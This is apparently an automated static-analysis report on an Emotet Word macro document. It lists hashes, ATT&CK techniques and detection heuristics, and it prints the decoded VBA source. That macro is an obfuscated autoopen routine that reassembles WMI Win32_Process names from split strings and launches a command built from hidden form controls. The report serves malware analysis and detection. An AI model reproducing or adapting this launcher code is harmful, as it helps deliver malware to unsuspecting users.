Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1efb0018ba2d5fac…

MALICIOUS

Office (OLE)

127.6 KB Created: 2019-05-16 18:51:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 0480a4a7d0b0787001c61cb337ae104b SHA-1: a366fe3e1efefff7f595791342d36eea0762a350 SHA-256: 1efb0018ba2d5facf16aa1307bd349af4eaf61925d05c8e445e95a9a0db0ea74
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an autoopen subroutine, a common Emotet infection vector. The script uses obfuscated strings to construct calls to WMI (winmgmts:Win32_Process) to create a new process, indicating it is designed to download and execute a second-stage payload. ClamAV also detected this as Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1271 bytes
SHA-256: 6a2f2ed7741316c9b37181a763ec26101789e832935b479190b0972e3fcf2b2e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z3110806"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "R7988061, 0, 0, MSForms, TextBox"
Attribute VB_Control = "a817_9, 1, 1, MSForms, TextBox"
Attribute VB_Control = "k2615_, 2, 2, MSForms, TextBox"
Attribute VB_Control = "j1749467, 3, 3, MSForms, TextBox"
Attribute VB_Control = "D12_47, 4, 4, MSForms, TextBox"
Attribute VB_Control = "B6_25_2, 5, 5, MSForms, TextBox"

Attribute VB_Name = "w374631"
Sub _
autoopen( _
)
Set c_61385 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
   r62893 = (("I28954") + ("659480211"))
c_61385. _
ShowWindow = vbFalse - vbFalse
   b54813 = (("t0440_4") + ("900130443"))
P39242 = z3110806.a817_9 + z3110806.k2615_ + z3110806.j1749467 + z3110806.D12_47 + z3110806.R7988061
   j0735227 = (("C1108297") + ("393461019"))
Set l8847355 = GetObject(("winm" + "gmts:" + "Win3" + "2_Process"))
   E1_753 = (("A067875") + ("800749409"))
l8847355.Create A_33800 + P39242 + i665411, r2795657, c_61385, B45219
End Sub


Attribute VB_Name = "E34031"

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